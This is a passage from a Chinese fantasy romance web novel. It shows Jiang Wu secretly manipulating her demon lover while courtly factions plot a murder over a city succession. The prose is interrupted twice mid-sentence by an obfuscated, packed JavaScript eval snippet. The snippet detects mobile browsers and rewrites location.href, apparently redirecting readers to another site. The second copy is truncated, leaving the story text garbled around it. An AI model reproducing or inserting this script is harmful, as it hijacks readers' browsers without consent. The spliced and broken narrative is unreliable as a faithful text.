姜芜跟着走了片刻,随后便闻到了一阵馥郁的花香,她虽然看不见,但是感觉像是站在了花圃前,面前有着成片的火红色蔷薇花,枝叶繁茂,花瓣夺目。 “你有什么心事要同我说?连雾沅也要避开?” 寂满随手掐了几朵蔷薇花在指尖蹂躏着,花汁沾满了他的手指,但是心中依旧不解气,支吾了片刻不知道该从何开口。 姜芜见状也不催促,只是静静地站在原地等着。 “你知道我是一条蛟龙吧。”寂满深深地吸了一口气,他终于说服自己正视姜芜,“我距离化龙只有一步之遥。” 姜芜颔首,“我知道,然后呢?如果你是因为化龙一事而找我,我只能很抱歉的说,我并不知晓。” 寂满垂下了脑袋,嚅嗫道:“不,你知道,我九哥说你知道。” 姜芜无奈地笑了笑,“你九哥跟你说何事了?让你这么笃定?” 寂满搓了搓手指,将残花扔至一旁,语无伦次地说:“我九哥说......我九哥说......只要你喜欢我,我很快就能化龙......我九哥说有一大妖逃出了大荒,在并州自立为王,联合羽族欺压长灵族,预备讨伐我父亲,我化龙也只是为了镇压大荒,但是这么多年我不学无术,修为没有长进,相传蛟化龙需要褪皮三次,我才褪了一次皮......” 姜芜缓缓地收敛了脸上的笑容,“你们在算计我?” 寂满大惊,急忙解释道:“我们绝对没有算计你,只是事态紧急,那盘踞于并州的大妖至此都无人摸清楚它的底细,如果是放在平常,我肯定是会勤加修炼的。” 姜芜复尔重新笑了起来,“可是我对你这种小孩并不感兴趣,如何助你化龙?” 寂满抿了抿双唇,他抬眸殷切地看着姜芜,“你就稍微假装一下,我好歹也是玉树临风,长相英俊,喜欢我也不差的。” 姜芜清了清嗓子,低声威胁道:“螭吻只是说让我喜欢你便可以吗?他没说过别的吗?再者,这种事情很容易出意外的,比如不等你化龙,睢羲便会杀了你。” 寂满面上空白了一瞬,逐渐变得惊恐,“我们......我们悄悄地行不行?只要帮我化龙,我什么条件都会答应你的,以后你就是我大荒妖族的恩人。” 姜芜摇了摇头,“你太天真了。” “化龙还有一个法子。” 寂满闻声向石子路的另一头看去,只见萧舒延一身黑衣面无表情地走了过来。 寂满的脸色顿时变得有些难看,他看了姜芜一眼,不知道面前的这个凡人到底听到了多少他们之间的谈话内容。 萧舒延说:“雍州有一地唤做天门,你若是能跃过去,即便是你现下只褪下一层皮,也能在瞬间化龙,只不过这其中的磨难重重,既有天雷也有地火,一不甚还有灰飞烟灭的可能。” 寂满惊得瞪大了双眸,也顾不得方才的顾虑,转头看向了姜芜,“他说的可是真的?” 姜芜说:“一般鲤鱼精才会采用跃天门的方式化龙,你若是想试试的话,也不是不可以。” 萧舒延继续道:“雍州河津,大禹治水时凿山开门,一里馀宽,黄河自其中流下,两岸难通车马,每逢春季,便有黄河鲤鱼逆流而上,过天门者便可化身成龙。难道你不想靠自身努力化龙吗?要依靠一个女子?” 寂满点了点头,一扫脸上的愁云,“怎么可能!我可是堂堂男子汉!这可比要求姜芜喜欢我简单多了,我现下就去找雾沅商量对策。”说完,他便踏着欢快的步伐往小院跑去。 萧舒延看着寂满走远,垂眸看着姜芜说道:“他们对你也太过于放肆。” “谁都有疾病乱投医的时候。”姜芜转身面前花香最馥郁的方向,深深地吸了一口气,摸索着伸出手预备摘一朵,“这里是哪种花?” 萧舒延伸手摘了一簇蔷薇,他托起姜芜的手,把蔷薇花放在了她的手心中。 “蔷薇。” 姜芜在指尖捻着蔷薇的绿茎,低头闻了闻花香,“花色呢?是什么颜色的?” 萧舒延不语,只是伸手托在了姜芜的后颈,低头贴上了她的额头。 “嗯?” 像是一滴水珠落入了无边无际的黑色湖泊之中,随着荡起的涟漪,像是浸入笔洗的色彩,顿时变得五彩斑斓起来,暗绿色的叶子托着粉红色娇俏的蔷薇,花朵簇拥在一起,小巧的花瓣层层叠叠的舒展着,阳光镀在上面如同蜜蜡一般,昨日的雨水从花瓣上滴落,灿灿生辉。 姜芜故作遗憾地说:“原来不是红色的啊。” 萧舒延取过姜芜指尖的蔷薇花,别在了她的耳畔,“好看。” 姜芜问道:“花好看?” 萧舒延低笑一声,他垂眸看着姜芜,趁机啄了一下她的双唇。 姜芜面露嫌弃,她后退了半步,“你倒是一点不挑,都不问问我挑不挑。你这样,伤势会差一些吗?” 萧高瞻拿着一堆账本走来,“哥,原来你在这里,我刚才还在找你。” 萧舒延转身看向萧高瞻,“何事?” 姜芜见状伸手取下了耳畔的蔷薇花,准备转身往小院走去。 萧舒延伸手拉住了姜芜,“跟我回去吃饭。” 44. 哄骗 萧高瞻看了姜芜一眼并没有表现出太多的惊讶,反而是将手中的账本递给了萧舒延,佯装自己没有看到姜芜,“这是管事让我给你的,这几日府内的开销,他说让你过目。” “我知晓了。” 姜芜过耳不过心地听着二人的谈话,手里捏着蔷薇花,轻轻地靠在萧舒延的后背上。 萧舒延察觉,寻到姜芜垂在一旁的手拢进掌心捏了捏。 “还有其他事情吗?” 萧高瞻微微一愣,“没了,我就是给你送个账本。送到了,我便走了。”说完,他探头看了姜芜一眼,可惜被萧舒延挡得严严实实的,只好讪讪地离开了。 萧舒延看着姜芜手中的蔷薇花,“为何摘下来了?” 姜芜笑着说:“本想着回去来着,但是你说要我跟你去吃饭,我便留下来了。” 萧舒延伸手揉了揉姜芜的头发,笑而不语。 “这个季节居然能在荆州吃到柔鱼。” 萧舒延看了姜芜一眼,多挑了几块柔鱼放在了她的碗中。 姜芜端着碗,用勺子慢吞吞地吃着饭,糙米同青豌豆蒸在一起,米香混合了豌豆的清香,柔鱼鲜嫩又弹牙。 姜芜虽然吃得慢,但是每一口都非常的满足。 萧舒延见姜芜的饭碗见底,开口问道:“菌汤要喝吗?” “要。” 萧舒延起身盛了一碗菌汤,用勺子喂给姜芜喝。 “好喝,你不吃饭吗?” 姜芜后知后觉地发现萧舒延动筷子的次数很少,几乎都在给她夹菜。 “我不饿。” 姜芜撇了撇嘴,“不合胃口吗?”说完,她拿起筷子,挑了一块柔鱼,在碗沿处沥干汤汁,然后朝向了萧舒延。 “现下跟从前不一样,不吃饭真的会饿。快吃,我感觉要掉了。”姜芜伸出手虚托着,“你还没回答我呢,你这样伤势会差一些吗?不会加重吗?” 萧舒延低头的动作一顿,“吃了你的柔鱼,必须要回答你的问题吗?” 姜芜有些无奈地一笑,“也不是必须了,每次吃饭都是我一个人吃,你能吃些东西,我也会很高兴,至于问题什么的,你不愿意回答,我能有什么办法呢?不回答便不回答吧。” 萧舒延垂眸,快速咬走了筷子上的柔鱼,“还可以,但是不及自己的身体。还有我看过你与五行道宗签订的血契,而且你同睢羲分道扬镳了。同他分道扬镳也好,要不因为血契的原因,若是见了他,你总是难受得厉害。” 姜芜抿紧了双唇,心中五味杂陈,片刻后她长舒了一口气,笑着说:“吃饭吃饭。” 姜芜时常因为情绪太多而烦恼,也因为睢羲不懂而感到委屈。修罗依靠戾气天生地长,与天同寿,日月齐辉,而制造出繁冗感情的人族于其不过蜉蝣一瞬,在漫长和无止尽的生命中,感情不过是不起眼的小事,无趣又耗精力。 姜芜觉得自己从前的所作所为就足够睢羲苦恼的,其余的感情无法感同身受又如何,不理解又如何,只需要在她忧愁的时候,递上一块热毛巾,帮她擦擦脸上的灰尘便够了。 但是即便是如此强大的修罗,也有油尽灯枯的时候。 姜芜放下碗筷,转身钻进了萧舒延的怀中。 “怎么?” 姜芜咬住嘴唇,忍住了想要脱口而出想要回家的话,片刻后才说:“困了,最近做梦总能听到车轮声,一直睡不好。” 萧舒延闻声放下了手中的筷子,“去睡吧,点心一会再吃。” “你先吃饭,我就是想和你待近一些。” 萧舒延伸手把姜芜抱到了腿上,让她能够靠得更舒适一些。 姜芜吸了吸鼻子,轻声说:“你就庆幸我眼睛看不见吧。” “没有区别的,都是我。” “不一样的。” 寂满神情高昂地冲回了小院,他在自己的房间里胡乱收拾了一通,背着小包袱走了出来,“雾沅,我有事出去一段时间。” 雾沅闻声从房间内走了出去,“去哪?” 寂满头也不回地说:“去雍州,我要去河津跃天门化龙。” 雾沅眉心一拢,厉声道:“回来!为何又提起化龙一事?而且还要去跃天门?” 寂满扭头看了雾沅一眼,随后又倒退着走了回来,“你这么一说,我倒是反应过来了,天门都是鲤鱼精跃的,我一条黑蛟跃过天门真的能化龙吗?” 雾沅追问道:“谁同你说跃天门能化龙的?” 寂满面上一热,后知后觉地反应了过来,他支支吾吾地说:“就……就是萧舒延……我是不是被他给骗了啊,他一个凡人怎么会知晓跃天门一事?” 雾沅面色凝重,“你遇到萧舒延了?他为何会提起天门一事?” 寂满眼睛乱飘着,最终在雾沅的施压下将事情全盘托出。 雾沅神情震惊地看着寂满,“螭吻大人真这么说的?只需要姜芜喜欢你?” 商扶庭听完了全程,忍不住插嘴问道:“这是什么说法?修罗还能助人修为大增?为何单单是姜芜?” 寂满说:“我不知道。” 沈确也说:“好奇怪啊。” 商扶庭说:“寂满兄弟,你放心。若是事情真的如同你九哥所说,五行道宗定不会坐视不理的,而且一路上你也帮了我们不少,我们更不会弃你于不顾。并州边界便是无幻之境的入口,化龙一事非同小可,等我们拿到避火瓶便一同前往雍州河津,有人为你护法,也算是多一层保障。” 寂满偏过头,不忿地说:“我九哥怎么可能骗人。化龙本就是我自己的事情,如果有其他途径不更好?而且距离我第一次蜕皮已经过了近千年的时间,第二次迟迟不来,天门我是无论如何都要去试的!” 雾沅顿时反应了过来,他告诫道:“阿满,螭吻大人所说之事勿要再提起,当心性命不保,睢羲会杀了你的。” 寂满神情不耐烦地说:“我知道了,不会再提了,我又不傻,能不知道吗?让姜芜喜欢我本就是铤而走险的一件事情,而且这种事情讲究个你情我愿,姜芜要是愿意,他也管不着是不是……” 寂满迅速反应了过来,他倒吸了一口凉气,面色绯红,“不提了,我再也不提了。” 沈确见状同商扶庭对视了一眼,一头雾水地说:“你们真的好奇怪啊。” 未时末飘来了一朵乌云,细密的小雨又没完没了地下了起来,天光暗得很快,不过申时末便需要在房内点灯。 萧舒延点了灯,在灯下翻看着账本,姜芜躺在他的腿上,百无聊赖地勾着他的发饰。 “百衢又有什么计划,让你附身一个修士,还不能随意使用戾气,不觉得憋屈吗?” 萧舒延将打结的发饰从姜芜手上取了下来,目不转睛地盯着账本,仔细看完以后才翻过一页。 “没什么。” 姜芜复尔又去扯萧舒延的衣带,“所以说是我不能知晓的事情吗?神神秘秘的。” 萧舒延说:“真的没什么。” 姜芜静等了片刻,“账本好看吗?” 萧舒延说:“不算难看,管事记录得非常详细。” “那……萧舒延是死是活?” “死了。” 姜芜起身笑着说:“你别看账本了,我同你商量个事情如何?” 萧舒延把账本合起放在一旁,他伸手把姜芜抱至腿上,“什么事?” 姜芜像之前一般环着萧舒延的脖颈,软声道:“等荆州府的事情结束后你便回无幻之境,等我帮五行道宗的人收集完圣物,我便回去了,到时候我会一直陪着你的,你也要陪着我,我们再也不分开,我之前不是也出去玩了好久才回去?这次你还当我出去玩,好不好?我不在的这段时日,会日日同你报平安的。” 萧舒延垂眸,“为何我不能以萧舒延的身份同你一起。” 姜芜抿唇,手指挠了挠萧舒延的后颈,“你也说了,这具身体不好用,不如自己的。本来伤势便已经很重了,为何还要再受这苦?” 萧舒延把姜芜揽进怀中,埋入她的颈窝中轻轻地蹭着,“好,平平安安,平安归来。” 【小院雾沅房间】 “请进。” 雾沅有些诧异地看着推门而入的商扶庭,“关于近日的事情是有想问我吗?” 商扶庭颔首,“其实我想问你在妖界有关于‘心’的作用。” 雾沅请商扶庭入座,“你是想知道会因为各种原因会被挖心是吗?其实很简单。” 商扶庭蹙眉,“怎样个简单法?” 雾沅回道:“乐趣,有残暴的妖怪以挖心为乐;裹腹,很多妖怪会觉得人心与人脑是最好吃的东西;药用,有人原型不太美丽的妖怪,会剥人皮绘制美丽皮囊穿在自己身上,但终究不是自己的皮肤,需要吞食人心来保持青春不朽。” “妖怪修炼千年法力无边,为何需要穿戴一副假皮囊,美丽样貌不能幻化吗?”商扶庭说,“我只知晓猪心具有安心养神,镇惊惧之效,尤其是与黄豆一起炖时效果更佳。却没想到……” 雾沅勾唇,抬手给商扶庭倒了一杯热茶,“人类之于千年大妖,如同猪狗家畜之于人类。” 商扶庭说:“话虽这么说没错,但是听起来让人不悦。” 雾沅轻笑,“人心的药用价值除了这些还有很多,有些禁术上是药引……” 雾沅话音一顿,神情立刻凝重,他迅速起身往外走去,“商公子,天色不早了,早些回去休息。” 萧蔚提着灯独自一人在小道上走着,未寻人撑伞,晶莹剔透的雨珠落在她身上,恍若一层薄薄的月辉。 雾沅悄无声息地落在萧蔚的身后。 萧蔚脚步一顿,立刻停了下来,她转身看向雾沅,微微欠身,媚态横生,“雾沅大人。” 雾沅眉心一拢,“无论你待在萧无祸身边是何居心,但人妖有别,葬礼来得都是天南海北的修士,你切记要小心。修行不易,莫要做一些自毁之事。” 萧蔚莞尔,“多谢大人提醒,上次大人放我一马,我还未曾好好感谢。” 雾沅说:“不必了,我们都是同族,在外互相帮助是应该的。但是,萧无祸他知晓你是妖怪吗?” 萧蔚脸上有些落寞,她摇了摇头,“不知晓,他以为我就是一个落魄之人。” 雾沅问道:“你又是为何要留在他身边?还委身于他。” 萧蔚抬眸看向雾沅,眼中流落出一丝惊慌,“不是的,不是雾沅大人想得那般,三郎他人很好的,对我有救命之恩,我留在他身边是为了报答他,若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298394|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三郎不嫌弃我,我便不回大荒了。” “痴儿,既然你心中已有决定,我便不再多嘴了,你好自为之。”说完,雾沅无奈地摇了摇头,随即凭空消失在了原地。 萧舒延一手打着伞,另一只手时不时地去纠正姜芜手中偏离范围的灯笼,“为何你总要回去?” “嗯?”姜芜笑着说,“我不回去怎么游说他们让你名正言顺地成为门主?” 萧舒延无奈地叹了口气,默不作声地向前走着。 姜芜欢欢喜喜地上前挽住萧舒延的手臂,“现下后悔也晚了。” 萧舒延问道:“他们有因为那件事情……为难你吗?” 姜芜面上闪过一丝慌乱,随即她粉饰太平,笑着摇了摇头,“没有,还说呢,干嘛要跟他们说那些?” 萧舒延站定,伸手拉住姜芜,双眸盯着她看了片刻,然后将她按在了自己的怀中,“是我鲁莽了,若是他们因此疏远你,或者是辜负你,我便有理由杀了他们,没有了他们,你便能回来了。” 姜芜垂眸,蹭进萧舒延的外袍中,“本来就是我的错,你那么做我们理亏。” “到了。” “那我就先进去了,你也快些回去。” 姜芜说着便要跑出伞下,却被萧舒延一把拉了回来。 萧舒延将伞送到姜芜的手中,“还在落雨,拿着伞。” “送来送去的,好没意思啊。”姜芜会心一笑,“我眼睛看不见,你直接送我进去吧。” 萧舒延勾唇,颔首应了下来。 姜芜站在廊庭下听着萧舒延的脚步渐行渐远,逐渐收敛了脸上的笑意,她伸手揉了揉有些发酸的脸,开口道:“看够了吗?” 一只紫黑色的蝴蝶飞进廊庭,倏地幻化出人形。 雾沅斩钉截铁道:“萧舒延便是睢羲。” 姜芜说:“你不是也知晓萧蔚便是九尾狐吗?” “我隐瞒的原因可以解释。”雾沅蹙眉,“你同睢羲,你们之间如今?” “恨也好,爱也罢。”姜芜抄起手,深深地吸了一口潮湿的雨气,她下颌微抬,整个人有些矜傲,“现下最主要的是解决我身上的事情,只要戾气能回来,一切都能迎刃而解。所以,我必须依附着他,利用着他,哄骗着他帮我把身上的噬魂骨钉取出来。” 雾沅说:“你在骗他?” 姜芜殷红的双唇勾起一个冷淡的容,“对,我在骗他。千百万年的相知相伴,我最了解他了,也知晓怎么骗他显得更情深意切,不会被他察觉。” 雾沅说:“对于他来说,你不觉得有些残忍吗?而且如此做,你心里不会有愧吗?毕竟……” “愧?”姜芜轻笑一声,“雾沅,我恨他又怎会对他有愧。” 雾沅蹙眉,有些不解地问道:“我不理解人类的感情,但你们之间如此,真的只是因为段怀野的死吗?” 姜芜不语,只是静静地立在原地。 雾沅看着她,感受着时间在周身流逝,它们围绕于姜芜周身,将她隔离开来,显得格外的萧索。 萧舒延走出院子便看到萧蔚站在不远处手中提着灯,她一身白衣站在雨中,笑吟吟地看着他,恍若画中仙。 萧蔚欠身,“大公子晚好。” 萧舒延应了一声,目不转睛地从她身侧有过。 萧蔚转身,开口道:“萧大公子是来看望姜女郎的吗?我还是第一次见萧大公子对一位女子这么上心呢。” 萧舒延想起之前种种,脚步一顿转身问道:“如何?” 萧蔚抬手掩唇,“只是想问问萧大公子,心上人和权力,您更想要哪一个?” 萧舒延挑眉,声色平缓,无喜无怒,“无祸呢?心上人……不对,你算不得他的心上人,女人和权力,他想选哪一个?不过,这看起来显而易见不是吗?” 萧蔚面上笑意不减,“所以大公子是承认姜女郎是您的心上人了吗?” 萧舒延默不作声地看着萧蔚。 萧蔚见状上前几步,轻声威胁,“这样便证明,我们可以对姜女郎为所欲为了吗?包括但不限于欺辱她、折磨她,甚至是杀了她。” 萧蔚像是一条毒蛇,在萧舒延吐着猩红的信子。 萧舒延轻笑一声,“我现下便可以杀了你,父亲生前告诫我们要相亲相爱,勿要手足相残,毕竟他是过来人。我可以不对无祸出手,但是你不一定。” 萧蔚丝毫不惧,“我贱命一条,不怕死的。” “贱命一条?不怕死?那是因为你还未感受过死亡的滋味。” 萧舒延手指微抬,一条骨鞭从他的袖口中飞出,迅速缠上了萧蔚的脖颈,一点一点地收紧,看着她的面容因为呼吸的逐渐紧促而变得不那么美丽。 萧蔚蹙眉,她想要抬手掐诀却被萧舒延压制,只能无力地挣扎起来,她感觉到自己的双脚逐渐离地,眼前白花花的一片。 萧舒延在最后关头收回了骨鞭,他看着伏在地上大口呼吸的萧蔚,神情略带惋惜,“真狼狈啊。” 萧蔚反应过来时萧舒延已经离开了,前后漆黑的小路上只有她和一盏燃至一半的灯。 萧蔚抚了抚自己的脖颈,轻轻地笑了,“大公子,不知你心心念念的姜女郎知不知晓你之前的所作所为,会不会因此疏远你呢?” 45. 入心 商扶庭请萧蔚入座,取过茶壶给她斟茶。 萧蔚莞尔,“商道长不必客气,我此次前来是想问问你考虑得如何了?” 商扶庭喝茶的手一顿,缓缓道:“三公子开出来的条件很诱人,避火瓶加十年的法器,我想没有人会拒绝。” 萧蔚脸上笑意更深,“这么说来,商道长是同意了?” 商扶庭颔首,“我们要如何做?” 萧蔚凝眸看向商扶庭,“后日便是萧老城主下葬的日子,到时候只需要杀了宣告遗嘱的管事便可。也不必考虑大公子,至于二公子恣意潇洒,热爱游山玩水,心中没有城主之位,更不必在意。” 商扶庭蹙眉,“不可杀人。” 萧蔚勾唇,“不需要商道长杀人,有人会替我们杀的,到时候商道长只需要心向我们便可。毕竟长衡山五行道宗是正道之首,商道长又有神兵太初剑在手,必定能一呼百应。” 商扶庭沉默,甚至对于萧无祸和萧蔚的做法产生了极度的厌恶,他自得道以来,遵循的便是五行道宗以天下为己任的宗旨,除暴安良,庇佑弱小,对越界的修罗和妖族格杀勿论,守护正道不朽,但是他不知晓的是在正道之下,人族也做着自相残杀之事,为了达到目的不择手段,甚至对自己的手足同胞下手。 萧蔚见状宽慰道:“权力争斗向来如此,怎会有不流血的战争,太初道尊平定天下时杀了不知道多少,人族皇帝亦是如此,成大事者不拘小节,又怎会受情感左右?名留青史之人,哪个手上没沾点鲜血呢?墨守成规,固步自封,不懂变通又怎能成就大业?商道长还是涉世未深,不懂人心险恶呐。” 商扶庭长舒了一口气,“我知晓了。” 萧蔚饮尽了杯中的茶水,“不知那位姓姜的女郎现下在何处?” 商扶庭警惕地看了萧蔚一眼,“在房间里吧,也或许在吃晚饭。” “既然如此,我便不打扰了,商道长也要快些去吃饭,早些休息才是。”说完,萧蔚便起身走出了房间,朝着小院外走去。 萧云正将饭菜一一端到桌上,取了新的瓷盘将桌上的菜肴夹了一些放进去,然后放在姜芜手边。 “冒犯了。”萧云将筷子放进姜芜的手中,引着她去夹瓷盘中的鱼肉,“您慢用,今晚有炸黄铜鱼,虽然刺不多但还是要小心食用。” “有心了。” 姜芜夹了一块鱼肉放进口中,鱼肉非常的肥厚紧实,提前用花椒和盐巴研制过,过了猪油后将滋味全都锁在了其中,没有一点腥味。 寂满大喊着饿,一路冲进了饭厅中,在见到姜芜是脚步一顿,像是夹着尾巴的狗一样,贴着墙面坐到了离她最远的地方。 姜芜目不能视,看不见此时寂满的怂样,只能听到突然被掐熄的咋咋呼呼声。 “怎么?我是何等的洪水猛兽吗?让你如此害怕。” 寂满头也不抬地说:“没有……没有,我这不是不好意思嘛……你别再问了,我都不知道该说什么了……” 雾沅进门后找位置坐了下来,见寂满一个劲地低头扒饭,便夹了几筷子菜到他的碗中。 “不要总吃饭。” 商扶庭和沈确也陆续进门,有些诧异饭桌上的楚河汉界,两人对视一眼,随便找位置坐了下来。 商扶庭尝了一些蒜香生菜,觉得可口便也给沈确夹了一些,“师妹,多吃一些。” 沈确笑着说:“谢谢师兄。” 萧云看着各怀心事的饭桌,其余的人都是成群结队的,唯有姜芜独自一人,也不会有人因为姜芜眼疾不能视而给她夹菜盛汤,甚至没有多多关照她一番。 萧云心中五味杂陈,忍不住红了眼眶,她拢紧双眉,上前盛了一碗菌汤放在了姜芜的手边。 “女郎,小心烫。” 萧云见姜芜将她夹的东西全部吃光,压了压翻涌的情绪,开口问道:“还要再吃一些吗?” 姜芜取帕子擦了擦唇角的油花,“不必麻烦了,我已经吃好了,难为你来照看我了。” 萧云急忙开口问道:“不为难的,今晚您要跟我回大人那边去吗?” 其余吃饭的四人闻言停下碗筷,纷纷抬起头等着姜芜的回答。 姜芜神情一愣,“不了,让他早些休息吧,账本别看太晚。” 寂满闻言来了兴致,他扭头以眼神控诉着雾沅,等姜芜离席后才开口说道:“这种事情不还是你情我愿吗?姜芜要是愿意!我还跃什么天门?!” 雾沅知晓的事情要比寂满多一些,听到他的话也只是无奈地摇了摇头,“你的豪言壮语呢?这种事情确实要讲求你情我愿,但是姜芜不愿,你莫非还能强迫她不成?” 寂满撇了撇嘴,神情不满地说:“那她便能喜欢那个刚认识了几天,见过几次面的萧舒延?还不如继续喜欢睢羲呢,这样我心里还能平衡一些。最起码我打不过那个睢羲,我居然比不过一个凡人修士。可恶!岂有此理!!!” 沈确蹙眉,“怎么你还看不起凡人修士呢?我也没见你们妖族有能同太初道尊齐名之人。” 雾沅无奈地摇了摇头,“姜芜是一个完完全全的人,她不是物品,她是自由的。总之,你不要再有那个打算了,真是侥幸逃过了一劫,还不知天高地厚呢。” 雾沅说完长长地叹了一口气。 商扶庭抬眸看了雾沅一眼,接着他垂下双眸掩盖掉其中的神情,他低头吃了几口饭,将复杂的心绪也一同压了下去。 寂满咬牙切齿地说:“我的父王!一身银鳞!威风堂堂!乃当世唯一真龙!段怀野再有本事不还是个死人,你们人族就喜欢给死人镀金!哪个人不是死了才名留青史的?不像我父王!喊出他的名号来就能把你们吓得屁滚尿流。” “你!”沈确怒视着寂满,随即她露出一个得意的笑容,“你父王再怎么厉害,不也是被太初道尊封印在了昆仑山吗?” “这饭吃不下去了!”寂满大喊一声,“我父王征战四方的时候!段怀野还不知道再哪个角落里玩泥巴呢!” 沈确勾唇,“太初道尊将你父王封印在了昆仑山,你父王现下都踏不出昆仑山一步。” 寂满抓狂,“我一定要成功化龙!让你们见识见识世间唯二真龙的厉害!!!” 雾沅头疼地捏了捏眉心,“你们二人莫要总是斗嘴吵架!” 商扶庭摇了摇头,放下碗筷,捂着双耳快步走了出去。 姜芜坐在梳妆台前,听着院内的房门打开又合上,然后抬手拆起了自己的发髻。 “姜芜,你睡了吗?” 姜芜通发的手一顿,随后取了支发簪随意一挽,她起身走到门前开门,“现下睡有些早,小道士找我有事吗?” 商扶庭向房内看了一眼,眉心一拧,“为何不点灯?” 姜芜摸了摸自己遮眸的白巾,“眼睛还未好,点与不点差别不大。” “依旧没有好的迹象吗?”商扶庭关切地问道,“林林总总也有些时日了吧,若是还不行,你同我回师门吧,我师尊他们会有办法的。” 姜芜微微一笑,“但是你师门会帮我治眼睛吗?” 商扶庭沉默,他想起初见之时掌门同姜芜剑拔弩张的气氛,顿时打消了这个念头。 “他……为何要封印你身上的戾气?普天之下还有克制修罗的法器吗?” 姜芜伸手向一旁摸了摸,随后靠在了门框上,“段怀野死时用指骨炼成一种名为噬魂骨钉的法器,可以压制修罗的戾气,这枚之所以这么厉害是因为睢羲在上面专门雕刻了针对我的秘术。” 商扶庭问道:“噬魂骨钉?我为何从未听师门提起过?” 姜芜笑了一声,并没有回答商扶庭的问题,反而问道:“天色不早了,你只是来打听修罗的弱点吗?你觉得我身为一个修罗,会同你讲得那么详细吗?” “这……我没有那个意思。”商扶庭正色道,“我来寻你确实有事,萧无祸身边的萧蔚在晚饭前来寻我了。” 姜芜被商扶庭局促的语气逗笑了,“不必如此,知己知彼才能百战百胜,你还年轻,对于一些事情不屑一顾很正常,但是为了达成自己的目的是可以不择手段的。萧蔚她来找你做何事?” 商扶庭说:“三公子用避火瓶和十年法器换我们在后日支持他登上城主之位,而且他们会在管事宣读遗嘱前杀了他,为了永绝后患也会处理掉大公子和二公子。这件事情,我答应他们了。” 姜芜应了一声,“做得不错。” 商扶庭问道:“接下来我们该怎么做?” 姜芜怂了一下肩膀,神情轻松,“两头骗呗,还能怎样?” 商扶庭抿唇,他敛下双眸不再去看姜芜,“两头骗?你……现下同大公子的关系,确定要骗他吗?虽然你同他认识了不过几日,但是否进展太快了?而且白日你都不曾回来过,这样真的好吗?虽然你同睢羲分道扬镳,虽然这件事情本质上讲求个你情我愿,但是……但是……未免也太快了些,不是吗?” 姜芜朝着商扶庭伸出手,预备拍一拍他的肩膀,“你还是太年轻了啊。” 商扶庭误解了姜芜的意思,抬手托住她伸过来的手,轻轻地捏了捏。 姜芜挑眉,随即将手挣脱收回,“时辰不早了,回去休息吧。” 商扶庭拈了拈手指,面上有些失落,“姜芜,我会好好修炼的。将来有一天,我也可以帮你疗伤解毒,不依靠任何人。” 姜芜笑了一声,“你好好修炼可不要为了我,要为了你心中的人间正道。明日我给你个药方,你记得去街上买些药,荆州多瘴气,记得多泡些药浴,真元才不会有所停滞。”说完,她便直起腰身,伸手将房门关好。 商扶庭在姜芜的门前站了片刻,随后转身回了自己的房间。 姜芜坐至梳妆台前,将绾发的玉簪取下,继续通着自己的长发。 萧舒延凭空出现在姜芜身后,伸手覆在了她的肩膀上,接过了她手中的梳子。 “她回去都跟我说了。” 姜芜摸索到萧舒延的手,并入他的指缝中,轻轻地夹了夹他的手指,“说何事了?” “说了一些令人伤心的话。” 姜芜面露疑惑,她抿了抿双唇,不解地说:“我没有为难她啊,而且还送了一些好看的发簪首饰给她。” 萧舒延放下梳子,伸手绕过姜芜托起了她的脸,拇指隔着白巾抚摸着她的双眸。 “是关于你的,你送了她东西之后她更难过了。” 姜芜靠在萧舒延的掌中,“这件事啊,不值得她记挂在心的。” “是我,我会记挂在心。” 姜芜轻笑一声,不再言语,片刻后便有了浓重的睡意。 萧舒延单手解开姜芜的白巾,“困了便睡吧。” 姜芜起身往床榻边走去,她顺手脱下外袍,正准备搭在木施上时,身后突然传来了重物落地的声音。 “睢羲?” 姜芜迅速转身,见四周无应答后掐诀动用了为数不多的戾气,她目不能视,自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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睢羲看着姜芜哭得不能自已的模样,又无奈又心疼,他凑上前吻去姜芜脸上的眼泪,“没关系的,我还会陪濯濯很久。” 姜芜泣声质问,歇斯底里地抒发着自己压抑已久的心绪,“为何会这样,到底为何会这样?” 睢羲擦着姜芜源源不断的泪珠,“听我说,我看过你同五行道宗签订的血契,无论如何我都不会让你那么做的,不会让你封印无幻之境的,于公于私,都不可以。” 姜芜伸手抱紧了睢羲,哑声道:“那不重要,让我看一看你的伤口。” 姜芜说完便自顾自地摸进了睢羲的衣襟之中,手指在那处伤口边缘徘徊。 “姜芜,醒了吗?” 姜芜一惊,迅速从欲海沉浮中上岸,她伸手去推伏在身上的睢羲,却被后者一把捂住了口鼻。 睢羲出声安抚道:“很快,很快便好,他们听不到声音的。” 姜芜呼吸急促,她咬着睢羲的手指轻声抗议。 睢羲松开手,顺便擦去姜芜额头上的热汗,亲吻着她的双唇,安抚着她的情绪,“乖,一会便好,没事。” 姜芜伸出手试探地去触碰睢羲的心口,不等碰到便被他抓住按在床榻上。 “为何又不给我看?”姜芜出声质问,很快便软了态度,“这样有没有好受一些?可以多来几次,我没关系的。” 睢羲垂眸深吻,“不用,只要你专心一些。” 门外的人等了片刻见无人应声以后便转身离开,脚步声清晰可闻,随着一步一步地远离,把姜芜重新沉入欲海之中。 姜芜觉得自己好像回到了无幻之境的巨树中,风沙拂过树冠,她的耳中都是沙沙声。 “乖,一会便好。” 姜芜被施了净身咒,此时正神清气爽地伏在榻上,哑着嗓子学睢羲的话。 萧舒延整理好身上的衣裳,闻言坐到了榻边,他伸手揉了揉姜芜的发顶,“你自己招的,便要自己受着。” 姜芜偏头向里侧,不愿意去搭理人。 萧舒延拍了拍姜芜的后脑勺,“今日要商定很多事,你要记得按时吃饭,我晚上再来看你。” 